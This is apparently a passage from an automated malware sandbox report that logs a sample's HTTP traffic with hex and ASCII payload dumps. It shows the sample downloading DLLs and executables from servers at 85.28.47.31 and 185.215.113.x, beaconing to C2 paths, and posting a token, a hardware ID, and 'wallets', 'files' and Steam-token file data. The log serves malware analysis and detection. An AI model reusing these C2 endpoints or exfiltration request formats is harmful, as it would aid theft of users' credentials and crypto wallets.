Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: 85.28.47.31Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 2d 2d 0d 0a Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="message"wallets------BGDHDAFIDGDBGCAAFIDH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJDGIEBKKFHJKJKEGHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------JEHIJDGIEBKKFHJKJKEGContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------JEHIJDGIEBKKFHJKJKEGContent-Disposition: form-data; name="message"ybncbhylepme------JEHIJDGIEBKKFHJKJKEG--
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file"------EGHJKJKKJDHIDHJKJDBG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /inc/build.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"files------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEHCAFHIJECGCAKFCGDB--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="hwid"07384824903B3023011859------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="build"sila------HIJJDGDHDGDAKFIECFIJ--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
